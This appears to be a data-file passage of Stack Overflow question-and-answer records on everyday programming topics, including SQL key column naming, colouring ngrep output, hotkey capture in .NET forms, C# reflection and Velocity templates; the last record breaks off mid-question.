qid
int64 4
8.14M
| question
stringlengths 20
48.3k
| answers
list | date
stringlengths 10
10
| metadata
list | input
stringlengths 12
45k
| output
stringlengths 2
31.8k
|
---|---|---|---|---|---|---|
214,045 |
<p>A couple of recent questions discuss strategies for naming columns, and I was rather surprised to discover the concept of embedding the notion of foreign and primary keys in column names. That is</p>
<pre><code>select t1.col_a, t1.col_b, t2.col_z
from t1 inner join t2 on t1.id_foo_pk = t2.id_foo_fk
</code></pre>
<p>I have to confess I have never worked on any database system that uses this sort of scheme, and I'm wondering what the benefits are. The way I see it, once you've learnt the N principal tables of a system, you'll write several orders of magnitude more requests with those tables.</p>
<p>To become productive in development, you'll need to learn which tables are the important tables, and which are simple tributaries. You'll want to commit an good number of column names to memory. And one of the basic tasks is to join two tables together. To reduce the learning effort, the easiest thing to do is to ensure that the column name is the same in both tables:</p>
<pre><code>select t1.col_a, t1.col_b, t2.col_z
from t1 inner join t2 on t1.id_foo = t2.id_foo
</code></pre>
<p>I posit that, as a developer, you don't need to be reminded that much about which columns are primary keys, which are foreign and which are nothing. It's easy enough to look at the schema if you're curious. When looking at a random</p>
<pre><code>tx inner join ty on tx.id_bar = ty.id_bar
</code></pre>
<p>... is it all that important to know which one is the foreign key? Foreign keys are important only to the database engine itself, to allow it to ensure referential integrity and do the right thing during updates and deletes.</p>
<p>What problem is being solved here? (I know this is an invitation to discuss, and feel free to do so. But at the same time, I <em>am</em> looking for an answer, in that I may be genuinely missing something).</p>
|
[
{
"answer_id": 214055,
"author": "Paul Tomblin",
"author_id": 3333,
"author_profile": "https://Stackoverflow.com/users/3333",
"pm_score": 3,
"selected": false,
"text": "<p>I agree with you. Putting this information in the column name smacks of the crappy Hungarian Notation idiocy of the early Windows days.</p>\n"
},
{
"answer_id": 214058,
"author": "Ed Altorfer",
"author_id": 26552,
"author_profile": "https://Stackoverflow.com/users/26552",
"pm_score": -1,
"selected": false,
"text": "<p>I agree with you--I take a different approach that I have seen recommended in many corporate environments:</p>\n\n<p>Name columns in the format <em>TableNameFieldName</em>, so if I had a Customer table and UserName was one of my fields, the field would be called CustomerUserName. That means that if I had another table called Invoice, and the customer's user name was a foreign key, I would call it InvoiceCustomerUserName, and when I referenced it, I would call it Invoice.CustomerUserName, which immediately tells me which table it's in.</p>\n\n<p>Also, this naming helps you to keep track of the tables your columns are coming from when you're joiining. </p>\n\n<p>I only use FK_ and PK_ in the ACTUAL names of the foreign and primary keys in the DBMS.</p>\n"
},
{
"answer_id": 214079,
"author": "itsmatt",
"author_id": 7862,
"author_profile": "https://Stackoverflow.com/users/7862",
"pm_score": 0,
"selected": false,
"text": "<p>I used \"fk_\" on the front end of any foreign keys for a table mostly because it helped me keep it straight when developing the DB for a project at my shop. Having not done any DB work in the past, this did help me. In hindsight, perhaps I didn't need to do that but it was three characters tacked onto some column names so I didn't sweat it.</p>\n\n<p>Being a newcomer to writing DB apps, I may have made a few decisions which would make a seasoned DB developer shudder, but I'm not sure the foreign key thing really is that big a deal. Again, I guess it is a difference in viewpoint on this issue and I'll certainly take what you've written and cogitate on it.</p>\n\n<p>Have a good one!</p>\n"
},
{
"answer_id": 214083,
"author": "Turnkey",
"author_id": 13144,
"author_profile": "https://Stackoverflow.com/users/13144",
"pm_score": 1,
"selected": false,
"text": "<p>I only use the tablename with an Id suffix for the primary key, e.g. CustomerId, and foreign keys referencing that from other tables would also be called CustomerId. When you reference in the application it becomes obvious the table from the object properties, e.g. Customer.TelephoneNumber, Customer.CustomerId, etc.</p>\n"
},
{
"answer_id": 214155,
"author": "Bill Karwin",
"author_id": 20860,
"author_profile": "https://Stackoverflow.com/users/20860",
"pm_score": 4,
"selected": true,
"text": "<p>I agree with you that the foreign key column in a child table should have the same name as the primary key column in the parent table. Note that this permits syntax like the following:</p>\n\n<pre><code>SELECT * FROM foo JOIN bar USING (foo_id);\n</code></pre>\n\n<p>The USING keyword assumes that a column exists by the same name in both tables, and that you want an equi-join. It's nice to have this available as shorthand for the more verbose:</p>\n\n<pre><code>SELECT * FROM foo JOIN bar ON (foo.foo_id = bar.foo_id);\n</code></pre>\n\n<p>Note, however, there are cases when you can't name the foreign key the same as the primary key it references. For example, in a table that has a self-reference:</p>\n\n<pre><code>CREATE TABLE Employees (\n emp_id INT PRIMARY KEY,\n manager_id INT REFERENCES Employees(emp_id)\n);\n</code></pre>\n\n<p>Also a table may have multiple foreign keys to the same parent table. It's useful to use the name of the column to describe the nature of the relationship:</p>\n\n<pre><code>CREATE TABLE Bugs (\n ...\n reported_by INT REFERENCES Accounts(account_id),\n assigned_to INT REFERENCES Accounts(account_id),\n ...\n);\n</code></pre>\n\n<p>I don't like to include the name of the table in the column name. I also eschew the obligatory \"id\" as the name of the primary key column in every table.</p>\n"
},
{
"answer_id": 214250,
"author": "Mike Woodhouse",
"author_id": 1060,
"author_profile": "https://Stackoverflow.com/users/1060",
"pm_score": 3,
"selected": false,
"text": "<p>I've espoused most of the ideas proposed here over the 20-ish years I've been developing with SQL databases, I'm embarrassed to say. Most of them delivered few or none of the expected benefits and were with hindsight, a pain in the neck.</p>\n\n<p>Any time I've spent more than a few hours with a schema I've fairly rapidly become familiar with the most important tables and their columns. Once it got to a few months, I'd pretty much have the whole thing in my head.</p>\n\n<p>Who is all this explanation for? Someone who only spends a few minutes with the design isn't going to be doing anything serious anyway. Someone who plans to work with it for a long time will learn it if you named your columns in Sanskrit.</p>\n\n<p>Ignoring compound primary keys, I don't see why something as simple as \"id\" won't suffice for a primary key, and \"_id\" for foreign keys.</p>\n\n<p>So a typical join condition becomes <code>customer.id = order.customer_id</code>.</p>\n\n<p>Where more than one association between two tables exists, I'd be inclined to use the association rather than the table name, so perhaps \"parent_id\" and \"child_id\" rather than \"parent_person_id\" etc</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214045",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18625/"
] |
A couple of recent questions discuss strategies for naming columns, and I was rather surprised to discover the concept of embedding the notion of foreign and primary keys in column names. That is
```
select t1.col_a, t1.col_b, t2.col_z
from t1 inner join t2 on t1.id_foo_pk = t2.id_foo_fk
```
I have to confess I have never worked on any database system that uses this sort of scheme, and I'm wondering what the benefits are. The way I see it, once you've learnt the N principal tables of a system, you'll write several orders of magnitude more requests with those tables.
To become productive in development, you'll need to learn which tables are the important tables, and which are simple tributaries. You'll want to commit an good number of column names to memory. And one of the basic tasks is to join two tables together. To reduce the learning effort, the easiest thing to do is to ensure that the column name is the same in both tables:
```
select t1.col_a, t1.col_b, t2.col_z
from t1 inner join t2 on t1.id_foo = t2.id_foo
```
I posit that, as a developer, you don't need to be reminded that much about which columns are primary keys, which are foreign and which are nothing. It's easy enough to look at the schema if you're curious. When looking at a random
```
tx inner join ty on tx.id_bar = ty.id_bar
```
... is it all that important to know which one is the foreign key? Foreign keys are important only to the database engine itself, to allow it to ensure referential integrity and do the right thing during updates and deletes.
What problem is being solved here? (I know this is an invitation to discuss, and feel free to do so. But at the same time, I *am* looking for an answer, in that I may be genuinely missing something).
|
I agree with you that the foreign key column in a child table should have the same name as the primary key column in the parent table. Note that this permits syntax like the following:
```
SELECT * FROM foo JOIN bar USING (foo_id);
```
The USING keyword assumes that a column exists by the same name in both tables, and that you want an equi-join. It's nice to have this available as shorthand for the more verbose:
```
SELECT * FROM foo JOIN bar ON (foo.foo_id = bar.foo_id);
```
Note, however, there are cases when you can't name the foreign key the same as the primary key it references. For example, in a table that has a self-reference:
```
CREATE TABLE Employees (
emp_id INT PRIMARY KEY,
manager_id INT REFERENCES Employees(emp_id)
);
```
Also a table may have multiple foreign keys to the same parent table. It's useful to use the name of the column to describe the nature of the relationship:
```
CREATE TABLE Bugs (
...
reported_by INT REFERENCES Accounts(account_id),
assigned_to INT REFERENCES Accounts(account_id),
...
);
```
I don't like to include the name of the table in the column name. I also eschew the obligatory "id" as the name of the primary key column in every table.
|
214,059 |
<p>I just learned about <a href="http://ngrep.sourceforge.net/" rel="nofollow noreferrer">ngrep</a>, a cool program that lets you easily sniff packets that match a particular string.</p>
<p>The only problem is that it can be hard to see the match in the big blob of output. I'd like to write a wrapper script to highlight these matches -- it could use ANSI escape sequences:</p>
<pre><code>echo -e 'This is \e[31mRED\e[0m.'
</code></pre>
<p>I'm most familiar with Perl, but I'm perfectly happy with a solution in Python or any other language. The simplest approach would be something like:</p>
<pre><code>while (<STDIN>) {
s/$keyword/\e[31m$keyword\e[0m/g;
print;
}
</code></pre>
<p>However, this isn't a nice solution, because ngrep prints out hash marks without newlines whenever it receives a non-matching packet, and the code above will suppress the printing of these hashmarks until the script sees a newline.</p>
<p>Is there any way to do the highlighting without inhibiting the instant appearance of the hashmarks?</p>
|
[
{
"answer_id": 214149,
"author": "Jon Ericson",
"author_id": 1438,
"author_profile": "https://Stackoverflow.com/users/1438",
"pm_score": 1,
"selected": false,
"text": "<p>It shouldn't be too hard if you have the answer <a href=\"https://stackoverflow.com/questions/213901/in-perl-how-do-i-process-input-as-soon-as-it-arrives-instead-of-waiting-for-new\">this question</a>.</p>\n\n<p>(Essentially, read one character at a time and if it's a hash, print it. If it isn't a hash, save the character to print out later.)</p>\n"
},
{
"answer_id": 214186,
"author": "raldi",
"author_id": 7598,
"author_profile": "https://Stackoverflow.com/users/7598",
"pm_score": 3,
"selected": true,
"text": "<p>Ah, forget it. This is too much of a pain. It was a lot easier to get the source to ngrep and make it print the hash marks to stderr:</p>\n\n<pre><code>--- ngrep.c 2006-11-28 05:38:43.000000000 -0800\n+++ ngrep.c.new 2008-10-17 16:28:29.000000000 -0700\n@@ -687,8 +687,7 @@\n }\n\n if (quiet < 1) {\n- printf(\"#\");\n- fflush(stdout);\n+ fprintf (stderr, \"#\");\n }\n\n switch (ip_proto) { \n</code></pre>\n\n<p>Then, filtering is a piece of cake:</p>\n\n<pre><code>while (<CMD>) {\n s/($keyword)/\\e[93m$1\\e[0m/g;\n print;\n}\n</code></pre>\n"
},
{
"answer_id": 214198,
"author": "Alex Coventry",
"author_id": 1941213,
"author_profile": "https://Stackoverflow.com/users/1941213",
"pm_score": 0,
"selected": false,
"text": "<p>This is easy in python.</p>\n\n<pre><code>#!/usr/bin/env python\nimport sys, re\n\nkeyword = 'RED'\n\nwhile 1:\n c = sys.stdin.read(1)\n if not c:\n break\n if c in '#\\n':\n sys.stdout.write(c)\n else:\n sys.stdout.write(\n (c+sys.stdin.readline()).replace(\n keyword, '\\x1b[31m%s\\x1b[0m\\r' % keyword))\n</code></pre>\n"
},
{
"answer_id": 214557,
"author": "Andy Lester",
"author_id": 8454,
"author_profile": "https://Stackoverflow.com/users/8454",
"pm_score": 2,
"selected": false,
"text": "<p>You could also pipe the output through <a href=\"http://petdance.com/ack/\" rel=\"nofollow noreferrer\">ack</a>. The --passthru flag will help.</p>\n"
},
{
"answer_id": 214635,
"author": "Shlomi Fish",
"author_id": 7709,
"author_profile": "https://Stackoverflow.com/users/7709",
"pm_score": -1,
"selected": false,
"text": "<p>See the script at <a href=\"http://www.mail-archive.com/[email protected]/msg52876.html\" rel=\"nofollow noreferrer\">this post to Linux-IL where someone asked a similar question</a>. It's written in Perl and uses the CPAN Term::ANSIColor module.</p>\n"
},
{
"answer_id": 214782,
"author": "dland",
"author_id": 18625,
"author_profile": "https://Stackoverflow.com/users/18625",
"pm_score": 2,
"selected": false,
"text": "<p>This seems to do the trick, at least comparing two windows, one running a straight ngrep (e.g. ngrep whatever) and one being piped into the following program (with ngrep whatever | ngrephl target-string).</p>\n\n<pre><code>#! /usr/bin/perl\n\nuse strict;\nuse warnings;\n\n$| = 1; # autoflush on\n\nmy $keyword = shift or die \"No pattern specified\\n\";\nmy $cache = '';\n\nwhile (read STDIN, my $ch, 1) {\n if ($ch eq '#') {\n $cache =~ s/($keyword)/\\e[31m$1\\e[0m/g;\n syswrite STDOUT, \"$cache$ch\";\n $cache = '';\n }\n else {\n $cache .= $ch;\n }\n}\n</code></pre>\n"
},
{
"answer_id": 513068,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>why not just call ngrep with the -q parameter to eliminate the hash marks?</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214059",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7598/"
] |
I just learned about [ngrep](http://ngrep.sourceforge.net/), a cool program that lets you easily sniff packets that match a particular string.
The only problem is that it can be hard to see the match in the big blob of output. I'd like to write a wrapper script to highlight these matches -- it could use ANSI escape sequences:
```
echo -e 'This is \e[31mRED\e[0m.'
```
I'm most familiar with Perl, but I'm perfectly happy with a solution in Python or any other language. The simplest approach would be something like:
```
while (<STDIN>) {
s/$keyword/\e[31m$keyword\e[0m/g;
print;
}
```
However, this isn't a nice solution, because ngrep prints out hash marks without newlines whenever it receives a non-matching packet, and the code above will suppress the printing of these hashmarks until the script sees a newline.
Is there any way to do the highlighting without inhibiting the instant appearance of the hashmarks?
|
Ah, forget it. This is too much of a pain. It was a lot easier to get the source to ngrep and make it print the hash marks to stderr:
```
--- ngrep.c 2006-11-28 05:38:43.000000000 -0800
+++ ngrep.c.new 2008-10-17 16:28:29.000000000 -0700
@@ -687,8 +687,7 @@
}
if (quiet < 1) {
- printf("#");
- fflush(stdout);
+ fprintf (stderr, "#");
}
switch (ip_proto) {
```
Then, filtering is a piece of cake:
```
while (<CMD>) {
s/($keyword)/\e[93m$1\e[0m/g;
print;
}
```
|
214,065 |
<p>We're building some software for an in-house Kiosk. The software is a basic .net windows form with an embedded browser. The Kiosk is outfitted with a mat that the user steps on. When the user steps on the mat, it sends a key comination through the keyboard. When the user steps off the mat it sends a different key combination.</p>
<p>What we want to do is look for the key combination in our app, and based on if the user steps on or off, cause the browser to go to a different url.</p>
<p>How do you hook the keyboard to accomodate this type of situation?</p>
|
[
{
"answer_id": 214101,
"author": "Joel B Fant",
"author_id": 22211,
"author_profile": "https://Stackoverflow.com/users/22211",
"pm_score": 1,
"selected": false,
"text": "<p>I was doing a somewhat similar search just a short while ago regarding USB card readers.</p>\n\n<p>I came across <a href=\"http://www.codeproject.com/KB/system/rawinput.aspx\" rel=\"nofollow noreferrer\">this article on CodeProject</a> for handling raw input of devices.</p>\n\n<p>My main goal was differentiating multiple devices that act as keyboards. Your device may have a different interface. It also may have an SDK and documentation. We don't know.</p>\n"
},
{
"answer_id": 214167,
"author": "Tom Anderson",
"author_id": 13502,
"author_profile": "https://Stackoverflow.com/users/13502",
"pm_score": 3,
"selected": true,
"text": "<p>If your window is the active window, then you can simply override the forms ProcessCmdKey as such below.</p>\n\n<pre><code>protected override bool ProcessCmdKey(ref Message msg, Keys keyData)\n{\n const int WM_KEYDOWN = 0x100;\n const int WM_SYSKEYDOWN = 0x104;\n\n if ((msg.Msg == WM_KEYDOWN) || (msg.Msg == WM_SYSKEYDOWN))\n {\n switch (keyData)\n {\n case Keys.Down:\n this.Text = \"Down Arrow Captured\";\n break;\n\n case Keys.Up:\n this.Text = \"Up Arrow Captured\";\n break;\n\n case Keys.Tab:\n this.Text = \"Tab Key Captured\";\n break;\n\n case Keys.Control | Keys.M:\n this.Text = \"<CTRL> + M Captured\";\n break;\n\n case Keys.Alt | Keys.Z:\n this.Text = \"<ALT> + Z Captured\";\n break;\n }\n }\n\n return base.ProcessCmdKey(ref msg, keyData);\n}\n</code></pre>\n"
},
{
"answer_id": 214336,
"author": "Martin Plante",
"author_id": 4898,
"author_profile": "https://Stackoverflow.com/users/4898",
"pm_score": 0,
"selected": false,
"text": "<p>And if your application is NOT the main window, take a look at the <a href=\"http://msdn.microsoft.com/en-us/library/ms646309.aspx\" rel=\"nofollow noreferrer\">RegisterHotkey</a> Win32 API, with some info on <a href=\"http://pinvoke.net/default.aspx/user32/RegisterHotKey.html\" rel=\"nofollow noreferrer\">p/invoke here</a>.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214065",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9266/"
] |
We're building some software for an in-house Kiosk. The software is a basic .net windows form with an embedded browser. The Kiosk is outfitted with a mat that the user steps on. When the user steps on the mat, it sends a key comination through the keyboard. When the user steps off the mat it sends a different key combination.
What we want to do is look for the key combination in our app, and based on if the user steps on or off, cause the browser to go to a different url.
How do you hook the keyboard to accomodate this type of situation?
|
If your window is the active window, then you can simply override the forms ProcessCmdKey as such below.
```
protected override bool ProcessCmdKey(ref Message msg, Keys keyData)
{
const int WM_KEYDOWN = 0x100;
const int WM_SYSKEYDOWN = 0x104;
if ((msg.Msg == WM_KEYDOWN) || (msg.Msg == WM_SYSKEYDOWN))
{
switch (keyData)
{
case Keys.Down:
this.Text = "Down Arrow Captured";
break;
case Keys.Up:
this.Text = "Up Arrow Captured";
break;
case Keys.Tab:
this.Text = "Tab Key Captured";
break;
case Keys.Control | Keys.M:
this.Text = "<CTRL> + M Captured";
break;
case Keys.Alt | Keys.Z:
this.Text = "<ALT> + Z Captured";
break;
}
}
return base.ProcessCmdKey(ref msg, keyData);
}
```
|
214,072 |
<p>Can anyone reccomend some good tutorials for ext js and adobe air? The ones I have seen seem to start with you knowing a lot or already having a lot of code in place.</p>
<p>What I am looking for is a simple step by step guide that takes you through the basics of Ext Js in use with adobe air, in fact i suppose just a good Ext Js tutorial for begginers would be handy I just cant find anything.</p>
<p>Im looking to build a desktop app and need to get on it quickly, but Js is my weakness and the app has some complexity (dont they always!!).</p>
<p>So Question - What are the best Ext Js tutorials for begginners (preferbly with some adobe air thrown in, but not essentiall, one step at a time ;))</p>
|
[
{
"answer_id": 214101,
"author": "Joel B Fant",
"author_id": 22211,
"author_profile": "https://Stackoverflow.com/users/22211",
"pm_score": 1,
"selected": false,
"text": "<p>I was doing a somewhat similar search just a short while ago regarding USB card readers.</p>\n\n<p>I came across <a href=\"http://www.codeproject.com/KB/system/rawinput.aspx\" rel=\"nofollow noreferrer\">this article on CodeProject</a> for handling raw input of devices.</p>\n\n<p>My main goal was differentiating multiple devices that act as keyboards. Your device may have a different interface. It also may have an SDK and documentation. We don't know.</p>\n"
},
{
"answer_id": 214167,
"author": "Tom Anderson",
"author_id": 13502,
"author_profile": "https://Stackoverflow.com/users/13502",
"pm_score": 3,
"selected": true,
"text": "<p>If your window is the active window, then you can simply override the forms ProcessCmdKey as such below.</p>\n\n<pre><code>protected override bool ProcessCmdKey(ref Message msg, Keys keyData)\n{\n const int WM_KEYDOWN = 0x100;\n const int WM_SYSKEYDOWN = 0x104;\n\n if ((msg.Msg == WM_KEYDOWN) || (msg.Msg == WM_SYSKEYDOWN))\n {\n switch (keyData)\n {\n case Keys.Down:\n this.Text = \"Down Arrow Captured\";\n break;\n\n case Keys.Up:\n this.Text = \"Up Arrow Captured\";\n break;\n\n case Keys.Tab:\n this.Text = \"Tab Key Captured\";\n break;\n\n case Keys.Control | Keys.M:\n this.Text = \"<CTRL> + M Captured\";\n break;\n\n case Keys.Alt | Keys.Z:\n this.Text = \"<ALT> + Z Captured\";\n break;\n }\n }\n\n return base.ProcessCmdKey(ref msg, keyData);\n}\n</code></pre>\n"
},
{
"answer_id": 214336,
"author": "Martin Plante",
"author_id": 4898,
"author_profile": "https://Stackoverflow.com/users/4898",
"pm_score": 0,
"selected": false,
"text": "<p>And if your application is NOT the main window, take a look at the <a href=\"http://msdn.microsoft.com/en-us/library/ms646309.aspx\" rel=\"nofollow noreferrer\">RegisterHotkey</a> Win32 API, with some info on <a href=\"http://pinvoke.net/default.aspx/user32/RegisterHotKey.html\" rel=\"nofollow noreferrer\">p/invoke here</a>.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214072",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28241/"
] |
Can anyone reccomend some good tutorials for ext js and adobe air? The ones I have seen seem to start with you knowing a lot or already having a lot of code in place.
What I am looking for is a simple step by step guide that takes you through the basics of Ext Js in use with adobe air, in fact i suppose just a good Ext Js tutorial for begginers would be handy I just cant find anything.
Im looking to build a desktop app and need to get on it quickly, but Js is my weakness and the app has some complexity (dont they always!!).
So Question - What are the best Ext Js tutorials for begginners (preferbly with some adobe air thrown in, but not essentiall, one step at a time ;))
|
If your window is the active window, then you can simply override the forms ProcessCmdKey as such below.
```
protected override bool ProcessCmdKey(ref Message msg, Keys keyData)
{
const int WM_KEYDOWN = 0x100;
const int WM_SYSKEYDOWN = 0x104;
if ((msg.Msg == WM_KEYDOWN) || (msg.Msg == WM_SYSKEYDOWN))
{
switch (keyData)
{
case Keys.Down:
this.Text = "Down Arrow Captured";
break;
case Keys.Up:
this.Text = "Up Arrow Captured";
break;
case Keys.Tab:
this.Text = "Tab Key Captured";
break;
case Keys.Control | Keys.M:
this.Text = "<CTRL> + M Captured";
break;
case Keys.Alt | Keys.Z:
this.Text = "<ALT> + Z Captured";
break;
}
}
return base.ProcessCmdKey(ref msg, keyData);
}
```
|
214,077 |
<p>I was wondering if there is some way to name or rename a property on an Anonymous type to include a space in the property name. For example:</p>
<pre><code>var resultSet = from customer in customerList
select new
{
FirstName = customer.firstName;
};
</code></pre>
<p>In this example I would like FirstName to be "First Name". The reason for this question, is I have a user control that exposes a public DataSource property that I bind to different anonymous type. It is working perfectly right now, except for the one little shortcoming of the column names being a little less than user friendly (FirstName instead of First Name).</p>
|
[
{
"answer_id": 214084,
"author": "Christian C. Salvadó",
"author_id": 5445,
"author_profile": "https://Stackoverflow.com/users/5445",
"pm_score": 2,
"selected": false,
"text": "<p>No, its not possible, spaces are not allowed in the names of members, you can use perhaps underscore or programmatically change the captions of your columns after the data is bound...</p>\n"
},
{
"answer_id": 214111,
"author": "ICR",
"author_id": 214,
"author_profile": "https://Stackoverflow.com/users/214",
"pm_score": 0,
"selected": false,
"text": "<p>I'd add an attribute to the property where you can specify a custom name, and you can provide more user friendly names using the attribute.</p>\n"
},
{
"answer_id": 214216,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 4,
"selected": true,
"text": "<p>What about doing something like this:</p>\n\n<pre><code>var resultSet = from customer in customerList\n select new \n {\n Value = customer.firstName,\n Title = \"First Name\"\n };\n</code></pre>\n\n<p>Then in your user control use Value as the contents and Title as the column name.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214077",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7215/"
] |
I was wondering if there is some way to name or rename a property on an Anonymous type to include a space in the property name. For example:
```
var resultSet = from customer in customerList
select new
{
FirstName = customer.firstName;
};
```
In this example I would like FirstName to be "First Name". The reason for this question, is I have a user control that exposes a public DataSource property that I bind to different anonymous type. It is working perfectly right now, except for the one little shortcoming of the column names being a little less than user friendly (FirstName instead of First Name).
|
What about doing something like this:
```
var resultSet = from customer in customerList
select new
{
Value = customer.firstName,
Title = "First Name"
};
```
Then in your user control use Value as the contents and Title as the column name.
|
214,086 |
<p>If I have a method such as:</p>
<pre><code>public void MyMethod(int arg1, string arg2)
</code></pre>
<p>How would I go about getting the actual names of the arguments?
I can't seem to find anything in the MethodInfo which will actually give me the name of the parameter.</p>
<p>I would like to write a method which looks like this:</p>
<pre><code>public static string GetParamName(MethodInfo method, int index)
</code></pre>
<p>So if I called this method with:</p>
<pre><code>string name = GetParamName(MyMethod, 0)
</code></pre>
<p>it would return "arg1". Is this possible?</p>
|
[
{
"answer_id": 214106,
"author": "Tom Anderson",
"author_id": 13502,
"author_profile": "https://Stackoverflow.com/users/13502",
"pm_score": 7,
"selected": true,
"text": "<pre><code>public static string GetParamName(System.Reflection.MethodInfo method, int index)\n{\n string retVal = string.Empty;\n\n if (method != null && method.GetParameters().Length > index)\n retVal = method.GetParameters()[index].Name;\n\n\n return retVal;\n}\n</code></pre>\n\n<p>The above sample should do what you need.</p>\n"
},
{
"answer_id": 214108,
"author": "Jeremy",
"author_id": 9266,
"author_profile": "https://Stackoverflow.com/users/9266",
"pm_score": 3,
"selected": false,
"text": "<p>Try something like this:</p>\n\n<pre><code>foreach(ParameterInfo pParameter in pMethod.GetParameters())\n{\n //Position of parameter in method\n pParameter.Position;\n\n //Name of parameter type\n pParameter.ParameterType.Name;\n\n //Name of parameter\n pParameter.Name;\n}\n</code></pre>\n"
},
{
"answer_id": 214125,
"author": "kͩeͣmͮpͥ ͩ",
"author_id": 26479,
"author_profile": "https://Stackoverflow.com/users/26479",
"pm_score": 2,
"selected": false,
"text": "<p>without any kind of error checking:</p>\n\n<pre><code>public static string GetParameterName ( Delegate method , int index )\n{\n return method.Method.GetParameters ( ) [ index ].Name ;\n}\n</code></pre>\n\n<p>You could use 'Func<TResult>' and derivatives to make this work for most situations</p>\n"
},
{
"answer_id": 40632926,
"author": "Warren Parad",
"author_id": 5091874,
"author_profile": "https://Stackoverflow.com/users/5091874",
"pm_score": 2,
"selected": false,
"text": "<p><code>nameof(arg1)</code> will return the name of the variable <code>arg1</code></p>\n\n<p><a href=\"https://msdn.microsoft.com/en-us/library/dn986596.aspx\" rel=\"nofollow noreferrer\">https://msdn.microsoft.com/en-us/library/dn986596.aspx</a></p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214086",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/646/"
] |
If I have a method such as:
```
public void MyMethod(int arg1, string arg2)
```
How would I go about getting the actual names of the arguments?
I can't seem to find anything in the MethodInfo which will actually give me the name of the parameter.
I would like to write a method which looks like this:
```
public static string GetParamName(MethodInfo method, int index)
```
So if I called this method with:
```
string name = GetParamName(MyMethod, 0)
```
it would return "arg1". Is this possible?
|
```
public static string GetParamName(System.Reflection.MethodInfo method, int index)
{
string retVal = string.Empty;
if (method != null && method.GetParameters().Length > index)
retVal = method.GetParameters()[index].Name;
return retVal;
}
```
The above sample should do what you need.
|
214,094 |
<p>Say you have a standard template with included (parsed) header, body, footer templates.</p>
<p>In the body template a variable like $subject is defined and you want that also displayed in the header template.</p>
<p>In some other template languages like HTML::Mason(perl based) you would evaluate the body template first to pick up the $subject variable but store it's output temporarily in a variable so your final output could end up in the correct order (header, body, footer)</p>
<p>In velocity it would look something like</p>
<p>set ($body=#parse("body.vm"))</p>
<p>parse("header.vm")</p>
<p>${body}</p>
<p>parse("footer.vm")</p>
<p>This however doesn't seem to work, any thoughts on how to do this?</p>
|
[
{
"answer_id": 243258,
"author": "Olly",
"author_id": 1174,
"author_profile": "https://Stackoverflow.com/users/1174",
"pm_score": 2,
"selected": false,
"text": "<p>You can do this using <a href=\"http://velocity.apache.org/tools/devel/view/layoutservlet.html\" rel=\"nofollow noreferrer\">VelocityLayoutServlet</a> which is part of <a href=\"http://velocity.apache.org/tools/devel/index.html\" rel=\"nofollow noreferrer\">VelocityTools</a>.</p>\n\n<p>This allows you to define a layout for your application -- let's call it <code>application.vm</code> -- in which you can parse in headers, footers etc and declare where the main body content is placed using the <code>screen_content</code> declaration, e.g:</p>\n\n<pre><code><html>\n <head>\n <title>$subject</title>\n </head>\n <body>\n #parse(\"header.vm\") \n $screen_content\n #parse(\"footer.vm\") \n </body>\n</html>\n</code></pre>\n\n<p><code>VelocityLayoutServlet</code> will evalulate the templates (and, hence, variables) before rendering which allows you to set a <code>$subject</code> variable in your body template, e.g:</p>\n\n<pre><code>#set($subject = \"My Subject\")\n<div id=\"content\">\n</div>\n</code></pre>\n\n<p>More detailed information can be found <a href=\"http://velocity.apache.org/tools/devel/view/layoutservlet.html\" rel=\"nofollow noreferrer\">in the Velocity documentation</a>.</p>\n"
},
{
"answer_id": 249353,
"author": "Dov Wasserman",
"author_id": 26010,
"author_profile": "https://Stackoverflow.com/users/26010",
"pm_score": 0,
"selected": false,
"text": "<p>If I understand you correctly, you want to have a Velocity variable named <code>$subject</code> interpolated into the <code>header.vm</code> and the <code>body.vm</code> templates. Right now, the variable is defined in the <code>body.vm</code> template, so you cannot refer to it in the earlier template <code>header.vm</code>.</p>\n\n<p>Why don't you abstract out the definition of $subject into its own template snippet, called <code>globals.vm</code> say, then include that in the top-level template. So you'd have: </p>\n\n<pre><code>#parse(\"globals.vm\")\n#parse(\"header.vm\")\n#parse(\"body.vm\")\n#parse(\"footer.vm\")\n</code></pre>\n"
},
{
"answer_id": 252478,
"author": "Will Glass",
"author_id": 32978,
"author_profile": "https://Stackoverflow.com/users/32978",
"pm_score": 3,
"selected": false,
"text": "<p>Either of the two solutions above would work. The VelocityLayoutServlet solution requires an extra package (also from Velocity) called Velocity Tools. I'm partial to this approach (and variants) myself.</p>\n\n<p>A third method is simply to put the #parse within quotes:</p>\n\n<pre><code>set ($body=\"#parse('body.vm')\")\n</code></pre>\n\n<p>Within a #set, anything in double quotes is evaluated. Strings within single quotes are passed in literally.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/214094",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
Say you have a standard template with included (parsed) header, body, footer templates.
In the body template a variable like $subject is defined and you want that also displayed in the header template.
In some other template languages like HTML::Mason(perl based) you would evaluate the body template first to pick up the $subject variable but store it's output temporarily in a variable so your final output could end up in the correct order (header, body, footer)
In velocity it would look something like
set ($body=#parse("body.vm"))
parse("header.vm")
${body}
parse("footer.vm")
This however doesn't seem to work, any thoughts on how to do this?
|
Either of the two solutions above would work. The VelocityLayoutServlet solution requires an extra package (also from Velocity) called Velocity Tools. I'm partial to this approach (and variants) myself.
A third method is simply to put the #parse within quotes:
```
set ($body="#parse('body.vm')")
```
Within a #set, anything in double quotes is evaluated. Strings within single quotes are passed in literally.
|
214,109 |
<p>I was getting bad data from an application I was writting using C++ in Visual Studio 2k3 so I decided to debug it. Then I found it was throwing an exception but one I can't track down.</p>
